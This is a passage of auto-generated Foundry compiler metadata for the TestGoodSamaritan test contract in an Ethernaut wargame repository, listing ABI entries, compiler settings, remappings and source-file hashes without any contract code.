payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/GoodSamaritan.t.sol\":\"TestGoodSamaritan\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/attacks/GoodSamaritanAttack.sol\":{\"keccak256\":\"0x110f6720b8848a9d39451ce62f2a7da54ce7adb73b31eb31a6957d2f68424c0c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://3da301f857f82dbc9f168b78e5246470b520edce9ba415e008c801faf8d26992\",\"dweb:/ipfs/QmQMs65FAPzB88Gnh23ipvy2TChBzpkTRTthxboeBVWLvN\"]},\"src/levels/GoodSamaritan.sol\":{\"keccak256\":\"0xb208a148389591b9b75d6dc1f0edf8d903132168b62239d8b49804f8555f1947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://3a7b0a11f0319286ed345e53b56ebcb4940b20dff05a1ce94896a4f153dbd615\",\"dweb:/ipfs/QmYkGNmn5PziUnkEy6N9UyLYMRdNf2oo8eV7v1vXGed51M\"]},\"src/levels/GoodSamaritanFactory.sol\":{\"keccak256\":\"0xbedeca55a8fc71a3fd3f948047bea3d46a5bc588eb4b66962129669a347533a3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40d025c7abe8d8e3a9aa3fe930367d21daf3bc21b61031d6434b2044b1e18903\",\"dweb:/ipfs/QmQSqdqxuyg9WabnC6BGVB7BRgzrotE6QyQXgdATnmL1g1\"]},\"src/levels/base/Level-08.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/GoodSamaritan.t.sol\":{\"keccak256\":\"0xd7518280c46b1a082e4f6c130fb072ebf79d296da874b7762c46796dca958dc5\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1a2004f00a8970ecfde20fed6f8227b1a43af869bd5aa11ef93a03f795671f59\",\"dweb:/ipfs/QmUnUD2efXmcj7XZkC4tvS9FTfKFoatqtnomFcmWG8ZGob\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct 